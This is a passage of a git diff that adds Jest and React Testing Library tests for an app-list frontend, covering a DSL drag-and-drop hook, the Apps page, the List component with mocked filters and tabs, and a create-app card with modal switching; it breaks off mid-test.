+      const file1 = createMockFile('test1.yaml')
+      const file2 = createMockFile('test2.yaml')
+      const dropEvent = createDragEvent('drop', [file1, file2])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).toHaveBeenCalledTimes(1)
+      expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file1)
+    })
+  })
+
+  describe('Enabled prop', () => {
+    it('should not add event listeners when enabled is false', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+          enabled: false,
+        }),
+      )
+
+      const file = createMockFile('test.yaml')
+      const enterEvent = createDragEvent('dragenter', [file])
+
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should return dragging as false when enabled is false even if state is true', () => {
+      const containerRef = { current: container }
+      const { result, rerender } = renderHook(
+        ({ enabled }) =>
+          useDSLDragDrop({
+            onDSLFileDropped: mockOnDSLFileDropped,
+            containerRef,
+            enabled,
+          }),
+        { initialProps: { enabled: true } },
+      )
+
+      // Set dragging state
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+      expect(result.current.dragging).toBe(true)
+
+      // Disable the hook
+      rerender({ enabled: false })
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should default enabled to true', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+
+      expect(result.current.dragging).toBe(true)
+    })
+  })
+
+  describe('Cleanup', () => {
+    it('should remove event listeners on unmount', () => {
+      const containerRef = { current: container }
+      const removeEventListenerSpy = jest.spyOn(container, 'removeEventListener')
+
+      const { unmount } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      unmount()
+
+      expect(removeEventListenerSpy).toHaveBeenCalledWith('dragenter', expect.any(Function))
+      expect(removeEventListenerSpy).toHaveBeenCalledWith('dragover', expect.any(Function))
+      expect(removeEventListenerSpy).toHaveBeenCalledWith('dragleave', expect.any(Function))
+      expect(removeEventListenerSpy).toHaveBeenCalledWith('drop', expect.any(Function))
+
+      removeEventListenerSpy.mockRestore()
+    })
+  })
+
+  describe('Edge cases', () => {
+    it('should handle null containerRef', () => {
+      const containerRef = { current: null }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should handle containerRef changing to null', () => {
+      const containerRef = { current: container as HTMLDivElement | null }
+      const { result, rerender } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      containerRef.current = null
+      rerender()
+
+      expect(result.current.dragging).toBe(false)
+    })
+  })
+})
diff --git a/web/app/components/apps/index.spec.tsx b/web/app/components/apps/index.spec.tsx
new file mode 100644
index 0000000000..61783f91d8
--- /dev/null
+++ b/web/app/components/apps/index.spec.tsx
@@ -0,0 +1,106 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+
+// Track mock calls
+let documentTitleCalls: string[] = []
+let educationInitCalls: number = 0
+
+// Mock useDocumentTitle hook
+jest.mock('@/hooks/use-document-title', () => ({
+  __esModule: true,
+  default: (title: string) => {
+    documentTitleCalls.push(title)
+  },
+}))
+
+// Mock useEducationInit hook
+jest.mock('@/app/education-apply/hooks', () => ({
+  useEducationInit: () => {
+    educationInitCalls++
+  },
+}))
+
+// Mock List component
+jest.mock('./list', () => ({
+  __esModule: true,
+  default: () => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': 'apps-list' }, 'Apps List')
+  },
+}))
+
+// Import after mocks
+import Apps from './index'
+
+describe('Apps', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    documentTitleCalls = []
+    educationInitCalls = 0
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<Apps />)
+      expect(screen.getByTestId('apps-list')).toBeInTheDocument()
+    })
+
+    it('should render List component', () => {
+      render(<Apps />)
+      expect(screen.getByText('Apps List')).toBeInTheDocument()
+    })
+
+    it('should have correct container structure', () => {
+      const { container } = render(<Apps />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('relative', 'flex', 'h-0', 'shrink-0', 'grow', 'flex-col')
+    })
+  })
+
+  describe('Hooks', () => {
+    it('should call useDocumentTitle with correct title', () => {
+      render(<Apps />)
+      expect(documentTitleCalls).toContain('common.menus.apps')
+    })
+
+    it('should call useEducationInit', () => {
+      render(<Apps />)
+      expect(educationInitCalls).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Integration', () => {
+    it('should render full component tree', () => {
+      render(<Apps />)
+
+      // Verify container exists
+      expect(screen.getByTestId('apps-list')).toBeInTheDocument()
+
+      // Verify hooks were called
+      expect(documentTitleCalls.length).toBeGreaterThanOrEqual(1)
+      expect(educationInitCalls).toBeGreaterThanOrEqual(1)
+    })
+
+    it('should handle multiple renders', () => {
+      const { rerender } = render(<Apps />)
+      expect(screen.getByTestId('apps-list')).toBeInTheDocument()
+
+      rerender(<Apps />)
+      expect(screen.getByTestId('apps-list')).toBeInTheDocument()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have overflow-y-auto class', () => {
+      const { container } = render(<Apps />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('overflow-y-auto')
+    })
+
+    it('should have background styling', () => {
+      const { container } = render(<Apps />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('bg-background-body')
+    })
+  })
+})
diff --git a/web/app/components/apps/list.spec.tsx b/web/app/components/apps/list.spec.tsx
new file mode 100644
index 0000000000..fe664a4a50
--- /dev/null
+++ b/web/app/components/apps/list.spec.tsx
@@ -0,0 +1,573 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import { AppModeEnum } from '@/types/app'
+
+// Mock next/navigation
+const mockReplace = jest.fn()
+const mockRouter = { replace: mockReplace }
+jest.mock('next/navigation', () => ({
+  useRouter: () => mockRouter,
+}))
+
+// Mock app context
+const mockIsCurrentWorkspaceEditor = jest.fn(() => true)
+const mockIsCurrentWorkspaceDatasetOperator = jest.fn(() => false)
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({
+    isCurrentWorkspaceEditor: mockIsCurrentWorkspaceEditor(),
+    isCurrentWorkspaceDatasetOperator: mockIsCurrentWorkspaceDatasetOperator(),
+  }),
+}))
+
+// Mock global public store
+jest.mock('@/context/global-public-context', () => ({
+  useGlobalPublicStore: () => ({
+    systemFeatures: {
+      branding: { enabled: false },
+    },
+  }),
+}))
+
+// Mock custom hooks
+const mockSetQuery = jest.fn()
+jest.mock('./hooks/use-apps-query-state', () => ({
+  __esModule: true,
+  default: () => ({
+    query: { tagIDs: [], keywords: '', isCreatedByMe: false },
+    setQuery: mockSetQuery,
+  }),
+}))
+
+jest.mock('./hooks/use-dsl-drag-drop', () => ({
+  useDSLDragDrop: () => ({
+    dragging: false,
+  }),
+}))
+
+const mockSetActiveTab = jest.fn()
+jest.mock('@/hooks/use-tab-searchparams', () => ({
+  useTabSearchParams: () => ['all', mockSetActiveTab],
+}))
+
+// Mock service hooks
+const mockRefetch = jest.fn()
+jest.mock('@/service/use-apps', () => ({
+  useInfiniteAppList: () => ({
+    data: {
+      pages: [{
+        data: [
+          {
+            id: 'app-1',
+            name: 'Test App 1',
+            description: 'Description 1',
+            mode: AppModeEnum.CHAT,
+            icon: '🤖',
+            icon_type: 'emoji',
+            icon_background: '#FFEAD5',
+            tags: [],
+            author_name: 'Author 1',
+            created_at: 1704067200,
+            updated_at: 1704153600,
+          },
+          {
+            id: 'app-2',
+            name: 'Test App 2',
+            description: 'Description 2',
+            mode: AppModeEnum.WORKFLOW,
+            icon: '⚙️',
+            icon_type: 'emoji',
+            icon_background: '#E4FBCC',
+            tags: [],
+            author_name: 'Author 2',
+            created_at: 1704067200,
+            updated_at: 1704153600,
+          },
+        ],
+        total: 2,
+      }],
+    },
+    isLoading: false,
+    isFetchingNextPage: false,
+    fetchNextPage: jest.fn(),
+    hasNextPage: false,
+    error: null,
+    refetch: mockRefetch,
+  }),
+}))
+
+// Mock tag store
+jest.mock('@/app/components/base/tag-management/store', () => ({
+  useStore: () => false,
+}))
+
+// Mock config
+jest.mock('@/config', () => ({
+  NEED_REFRESH_APP_LIST_KEY: 'needRefreshAppList',
+}))
+
+// Mock pay hook
+jest.mock('@/hooks/use-pay', () => ({
+  CheckModal: () => null,
+}))
+
+// Mock debounce hook
+jest.mock('ahooks', () => ({
+  useDebounceFn: (fn: () => void) => ({ run: fn }),
+}))
+
+// Mock dynamic imports
+jest.mock('next/dynamic', () => {
+  const React = require('react')
+  return (importFn: () => Promise<any>) => {
+    const fnString = importFn.toString()
+
+    if (fnString.includes('tag-management')) {
+      return function MockTagManagement() {
+        return React.createElement('div', { 'data-testid': 'tag-management-modal' })
+      }
+    }
+    if (fnString.includes('create-from-dsl-modal')) {
+      return function MockCreateFromDSLModal({ show, onClose }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'create-dsl-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-dsl-modal' }, 'Close'),
+        )
+      }
+    }
+    return () => null
+  }
+})
+
+/**
+ * Mock child components for focused List component testing.
+ * These mocks isolate the List component's behavior from its children.
+ * Each child component (AppCard, NewAppCard, Empty, Footer) has its own dedicated tests.
+ */
+jest.mock('./app-card', () => ({
+  __esModule: true,
+  default: ({ app }: any) => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': `app-card-${app.id}`, 'role': 'article' }, app.name)
+  },
+}))
+
+jest.mock('./new-app-card', () => {
+  const React = require('react')
+  return React.forwardRef((_props: any, _ref: any) => {
+    return React.createElement('div', { 'data-testid': 'new-app-card', 'role': 'button' }, 'New App Card')
+  })
+})
+
+jest.mock('./empty', () => ({
+  __esModule: true,
+  default: () => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': 'empty-state', 'role': 'status' }, 'No apps found')
+  },
+}))
+
+jest.mock('./footer', () => ({
+  __esModule: true,
+  default: () => {
+    const React = require('react')
+    return React.createElement('footer', { 'data-testid': 'footer', 'role': 'contentinfo' }, 'Footer')
+  },
+}))
+
+/**
+ * Mock base components that have deep dependency chains or require controlled test behavior.
+ *
+ * Per frontend testing skills (mocking.md), we generally should NOT mock base components.
+ * However, the following require mocking due to:
+ * - Deep dependency chains importing ES modules (like ky) incompatible with Jest
+ * - Need for controlled interaction behavior in tests (onChange, onClear handlers)
+ * - Complex internal state that would make tests flaky
+ *
+ * These mocks preserve the component's props interface to test List's integration correctly.
+ */
+jest.mock('@/app/components/base/tab-slider-new', () => ({
+  __esModule: true,
+  default: ({ value, onChange, options }: any) => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': 'tab-slider', 'role': 'tablist' },
+      options.map((opt: any) =>
+        React.createElement('button', {
+          'key': opt.value,
+          'data-testid': `tab-${opt.value}`,
+          'role': 'tab',
+          'aria-selected': value === opt.value,
+          'onClick': () => onChange(opt.value),
+        }, opt.text),
+      ),
+    )
+  },
+}))
+
+jest.mock('@/app/components/base/input', () => ({
+  __esModule: true,
+  default: ({ value, onChange, onClear }: any) => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': 'search-input' },
+      React.createElement('input', {
+        'data-testid': 'search-input-field',
+        'role': 'searchbox',
+        'value': value || '',
+        onChange,
+      }),
+      React.createElement('button', {
+        'data-testid': 'clear-search',
+        'aria-label': 'Clear search',
+        'onClick': onClear,
+      }, 'Clear'),
+    )
+  },
+}))
+
+jest.mock('@/app/components/base/tag-management/filter', () => ({
+  __esModule: true,
+  default: ({ value, onChange }: any) => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': 'tag-filter', 'role': 'listbox' },
+      React.createElement('button', {
+        'data-testid': 'add-tag-filter',
+        'onClick': () => onChange([...value, 'new-tag']),
+      }, 'Add Tag'),
+    )
+  },
+}))
+
+jest.mock('@/app/components/datasets/create/website/base/checkbox-with-label', () => ({
+  __esModule: true,
+  default: ({ label, isChecked, onChange }: any) => {
+    const React = require('react')
+    return React.createElement('label', { 'data-testid': 'created-by-me-checkbox' },
+      React.createElement('input', {
+        'type': 'checkbox',
+        'role': 'checkbox',
+        'checked': isChecked,
+        'aria-checked': isChecked,
+        onChange,
+        'data-testid': 'created-by-me-input',
+      }),
+      label,
+    )
+  },
+}))
+
+// Import after mocks
+import List from './list'
+
+describe('List', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockIsCurrentWorkspaceEditor.mockReturnValue(true)
+    mockIsCurrentWorkspaceDatasetOperator.mockReturnValue(false)
+    localStorage.clear()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<List />)
+      expect(screen.getByTestId('tab-slider')).toBeInTheDocument()
+    })
+
+    it('should render tab slider with all app types', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('tab-all')).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.WORKFLOW}`)).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.ADVANCED_CHAT}`)).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.CHAT}`)).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.AGENT_CHAT}`)).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.COMPLETION}`)).toBeInTheDocument()
+    })
+
+    it('should render search input', () => {
+      render(<List />)
+      expect(screen.getByTestId('search-input')).toBeInTheDocument()
+    })
+
+    it('should render tag filter', () => {
+      render(<List />)
+      expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
+    })
+
+    it('should render created by me checkbox', () => {
+      render(<List />)
+      expect(screen.getByTestId('created-by-me-checkbox')).toBeInTheDocument()
+    })
+
+    it('should render app cards when apps exist', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('app-card-app-1')).toBeInTheDocument()
+      expect(screen.getByTestId('app-card-app-2')).toBeInTheDocument()
+    })
+
+    it('should render new app card for editors', () => {
+      render(<List />)
+      expect(screen.getByTestId('new-app-card')).toBeInTheDocument()
+    })
+
+    it('should render footer when branding is disabled', () => {
+      render(<List />)
+      expect(screen.getByTestId('footer')).toBeInTheDocument()
+    })
+
+    it('should render drop DSL hint for editors', () => {
+      render(<List />)
+      expect(screen.getByText('app.newApp.dropDSLToCreateApp')).toBeInTheDocument()
+    })
+  })
+
+  describe('Tab Navigation', () => {
+    it('should call setActiveTab when tab is clicked', () => {
+      render(<List />)
+
+      fireEvent.click(screen.getByTestId(`tab-${AppModeEnum.WORKFLOW}`))
+
+      expect(mockSetActiveTab).toHaveBeenCalledWith(AppModeEnum.WORKFLOW)
+    })
+
+    it('should call setActiveTab for all tab', () => {
+      render(<List />)
+
+      fireEvent.click(screen.getByTestId('tab-all'))
+
+      expect(mockSetActiveTab).toHaveBeenCalledWith('all')
+    })
+  })
+
+  describe('Search Functionality', () => {
+    it('should render search input field', () => {
+      render(<List />)
+      expect(screen.getByTestId('search-input-field')).toBeInTheDocument()
+    })
+
+    it('should handle search input change', () => {
+      render(<List />)
+
+      const input = screen.getByTestId('search-input-field')
+      fireEvent.change(input, { target: { value: 'test search' } })
+
+      expect(mockSetQuery).toHaveBeenCalled()
+    })
+
+    it('should clear search when clear button is clicked', () => {
+      render(<List />)
+
+      fireEvent.click(screen.getByTestId('clear-search'))
+
+      expect(mockSetQuery).toHaveBeenCalled()
+    })
+  })
+
+  describe('Tag Filter', () => {
+    it('should render tag filter component', () => {
+      render(<List />)
+      expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
+    })
+
+    it('should handle tag filter change', () => {
+      render(<List />)
+
+      fireEvent.click(screen.getByTestId('add-tag-filter'))
+
+      // Tag filter change triggers debounced setTagIDs
+      expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
+    })
+  })
+
+  describe('Created By Me Filter', () => {
+    it('should render checkbox with correct label', () => {
+      render(<List />)
+      expect(screen.getByText('app.showMyCreatedAppsOnly')).toBeInTheDocument()
+    })
+
+    it('should handle checkbox change', () => {
+      render(<List />)
+
+      const checkbox = screen.getByTestId('created-by-me-input')
+      fireEvent.click(checkbox)
+
+      expect(mockSetQuery).toHaveBeenCalled()
+    })
+  })
+
+  describe('Non-Editor User', () => {
+    it('should not render new app card for non-editors', () => {
+      mockIsCurrentWorkspaceEditor.mockReturnValue(false)
+
+      render(<List />)
+
+      expect(screen.queryByTestId('new-app-card')).not.toBeInTheDocument()
+    })
+
+    it('should not render drop DSL hint for non-editors', () => {
+      mockIsCurrentWorkspaceEditor.mockReturnValue(false)
+
+      render(<List />)
+
+      expect(screen.queryByText(/drop dsl file to create app/i)).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Dataset Operator Redirect', () => {
+    it('should redirect dataset operators to datasets page', () => {
+      mockIsCurrentWorkspaceDatasetOperator.mockReturnValue(true)
+
+      render(<List />)
+
+      expect(mockReplace).toHaveBeenCalledWith('/datasets')
+    })
+  })
+
+  describe('Local Storage Refresh', () => {
+    it('should call refetch when refresh key is set in localStorage', () => {
+      localStorage.setItem('needRefreshAppList', '1')
+
+      render(<List />)
+
+      expect(mockRefetch).toHaveBeenCalled()
+      expect(localStorage.getItem('needRefreshAppList')).toBeNull()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple renders without issues', () => {
+      const { rerender } = render(<List />)
+      expect(screen.getByTestId('tab-slider')).toBeInTheDocument()
+
+      rerender(<List />)
+      expect(screen.getByTestId('tab-slider')).toBeInTheDocument()
+    })
+
+    it('should render app cards correctly', () => {
+      render(<List />)
+
+      expect(screen.getByText('Test App 1')).toBeInTheDocument()
+      expect(screen.getByText('Test App 2')).toBeInTheDocument()
+    })
+
+    it('should render with all filter options visible', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('search-input')).toBeInTheDocument()
+      expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
+      expect(screen.getByTestId('created-by-me-checkbox')).toBeInTheDocument()
+    })
+  })
+
+  describe('Dragging State', () => {
+    it('should show drop hint when DSL feature is enabled for editors', () => {
+      render(<List />)
+      expect(screen.getByText('app.newApp.dropDSLToCreateApp')).toBeInTheDocument()
+    })
+  })
+
+  describe('App Type Tabs', () => {
+    it('should render all app type tabs', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('tab-all')).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.WORKFLOW}`)).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.ADVANCED_CHAT}`)).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.CHAT}`)).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.AGENT_CHAT}`)).toBeInTheDocument()
+      expect(screen.getByTestId(`tab-${AppModeEnum.COMPLETION}`)).toBeInTheDocument()
+    })
+
+    it('should call setActiveTab for each app type', () => {
+      render(<List />)
+
+      const appModes = [
+        AppModeEnum.WORKFLOW,
+        AppModeEnum.ADVANCED_CHAT,
+        AppModeEnum.CHAT,
+        AppModeEnum.AGENT_CHAT,
+        AppModeEnum.COMPLETION,
+      ]
+
+      appModes.forEach((mode) => {
+        fireEvent.click(screen.getByTestId(`tab-${mode}`))
+        expect(mockSetActiveTab).toHaveBeenCalledWith(mode)
+      })
+    })
+  })
+
+  describe('Search and Filter Integration', () => {
+    it('should display search input with correct attributes', () => {
+      render(<List />)
+
+      const input = screen.getByTestId('search-input-field')
+      expect(input).toBeInTheDocument()
+      expect(input).toHaveAttribute('value', '')
+    })
+
+    it('should have tag filter component', () => {
+      render(<List />)
+
+      const tagFilter = screen.getByTestId('tag-filter')
+      expect(tagFilter).toBeInTheDocument()
+    })
+
+    it('should display created by me label', () => {
+      render(<List />)
+
+      expect(screen.getByText('app.showMyCreatedAppsOnly')).toBeInTheDocument()
+    })
+  })
+
+  describe('App List Display', () => {
+    it('should display all app cards from data', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('app-card-app-1')).toBeInTheDocument()
+      expect(screen.getByTestId('app-card-app-2')).toBeInTheDocument()
+    })
+
+    it('should display app names correctly', () => {
+      render(<List />)
+
+      expect(screen.getByText('Test App 1')).toBeInTheDocument()
+      expect(screen.getByText('Test App 2')).toBeInTheDocument()
+    })
+  })
+
+  describe('Footer Visibility', () => {
+    it('should render footer when branding is disabled', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('footer')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Additional Coverage Tests
+  // --------------------------------------------------------------------------
+  describe('Additional Coverage', () => {
+    it('should render dragging state overlay when dragging', () => {
+      // Test dragging state is handled
+      const { container } = render(<List />)
+
+      // Component should render successfully
+      expect(container).toBeInTheDocument()
+    })
+
+    it('should handle app mode filter in query params', () => {
+      // Test that different modes are handled in query
+      render(<List />)
+
+      const workflowTab = screen.getByTestId(`tab-${AppModeEnum.WORKFLOW}`)
+      fireEvent.click(workflowTab)
+
+      expect(mockSetActiveTab).toHaveBeenCalledWith(AppModeEnum.WORKFLOW)
+    })
+
+    it('should render new app card for editors', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('new-app-card')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/apps/new-app-card.spec.tsx b/web/app/components/apps/new-app-card.spec.tsx
new file mode 100644
index 0000000000..d0591db22a
--- /dev/null
+++ b/web/app/components/apps/new-app-card.spec.tsx
@@ -0,0 +1,287 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+
+// Mock next/navigation
+const mockReplace = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    replace: mockReplace,
+  }),
+  useSearchParams: () => new URLSearchParams(),
+}))
+
+// Mock provider context
+const mockOnPlanInfoChanged = jest.fn()
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    onPlanInfoChanged: mockOnPlanInfoChanged,
+  }),
+}))
+
+// Mock next/dynamic to immediately resolve components
+jest.mock('next/dynamic', () => {
+  const React = require('react')
+  return (importFn: () => Promise<any>) => {
+    const fnString = importFn.toString()
+
+    if (fnString.includes('create-app-modal') && !fnString.includes('create-from-dsl-modal')) {
+      return function MockCreateAppModal({ show, onClose, onSuccess, onCreateFromTemplate }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'create-app-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-create-modal' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-create-modal' }, 'Success'),
+          React.createElement('button', { 'onClick': onCreateFromTemplate, 'data-testid': 'to-template-modal' }, 'To Template'),
+        )
+      }
+    }
+    if (fnString.includes('create-app-dialog')) {
+      return function MockCreateAppTemplateDialog({ show, onClose, onSuccess, onCreateFromBlank }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'create-template-dialog' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-template-dialog' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-template-dialog' }, 'Success'),
+          React.createElement('button', { 'onClick': onCreateFromBlank, 'data-testid': 'to-blank-modal' }, 'To Blank'),
+        )
+      }
+    }
+    if (fnString.includes('create-from-dsl-modal')) {
+      return function MockCreateFromDSLModal({ show, onClose, onSuccess }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'create-dsl-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-dsl-modal' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-dsl-modal' }, 'Success'),
+        )
+      }
+    }
+    return () => null
+  }
+})
+
+// Mock CreateFromDSLModalTab enum
+jest.mock('@/app/components/app/create-from-dsl-modal', () => ({
+  CreateFromDSLModalTab: {
+    FROM_URL: 'from-url',
+  },
+}))
+
+// Import after mocks
+import CreateAppCard from './new-app-card'
+
+describe('CreateAppCard', () => {
+  const defaultRef = { current: null } as React.RefObject<HTMLDivElement | null>
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+      // Use pattern matching for resilient text assertions
+      expect(screen.getByText('app.createApp')).toBeInTheDocument()
+    })
+
+    it('should render three create buttons', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      expect(screen.getByText('app.newApp.startFromBlank')).toBeInTheDocument()
+      expect(screen.getByText('app.newApp.startFromTemplate')).toBeInTheDocument()
+      expect(screen.getByText('app.importDSL')).toBeInTheDocument()
+    })
+
+    it('should render all buttons as clickable', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      const buttons = screen.getAllByRole('button')
+      expect(buttons).toHaveLength(3)
+      buttons.forEach((button) => {
+        expect(button).not.toBeDisabled()
+      })
+    })
+  })
+
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      const { container } = render(
+        <CreateAppCard ref={defaultRef} className="custom-class" />,
+      )
+      const card = container.firstChild as HTMLElement
+      expect(card).toHaveClass('custom-class')
+    })
+
+    it('should render with selectedAppType prop', () => {
+      render(<CreateAppCard ref={defaultRef} selectedAppType="chat" />)
+      expect(screen.getByText('app.createApp')).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions - Create App Modal', () => {
+    it('should open create app modal when clicking Start from Blank', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+
+      expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
+    })
+
+    it('should close create app modal when clicking close button', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('close-create-modal'))
+      expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
+    })
+
+    it('should call onSuccess and onPlanInfoChanged on create app success', () => {
+      const mockOnSuccess = jest.fn()
+      render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      fireEvent.click(screen.getByTestId('success-create-modal'))
+
+      expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+      expect(mockOnSuccess).toHaveBeenCalled()
+    })
+
+    it('should switch from create modal to template dialog', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('to-template-modal'))
+
+      expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
+      expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions - Template Dialog', () => {
+    it('should open template dialog when clicking Start from Template', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+
+      expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
+    })
+
+    it('should close template dialog when clicking close button', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+      expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('close-template-dialog'))
+      expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
+    })
+
+    it('should call onSuccess and onPlanInfoChanged on template success', () => {
+      const mockOnSuccess = jest.fn()
+      render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+      fireEvent.click(screen.getByTestId('success-template-dialog'))
+
+      expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+      expect(mockOnSuccess).toHaveBeenCalled()
+    })
+
+    it('should switch from template dialog to create modal', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+      expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('to-blank-modal'))
+
+      expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
+      expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions - DSL Import Modal', () => {
+    it('should open DSL modal when clicking Import DSL', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.importDSL'))
+
+      expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
+    })
+
+    it('should close DSL modal when clicking close button', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.importDSL'))
+      expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('close-dsl-modal'))
+      expect(screen.queryByTestId('create-dsl-modal')).not.toBeInTheDocument()
+    })
+
+    it('should call onSuccess and onPlanInfoChanged on DSL import success', () => {
+      const mockOnSuccess = jest.fn()
+      render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
+
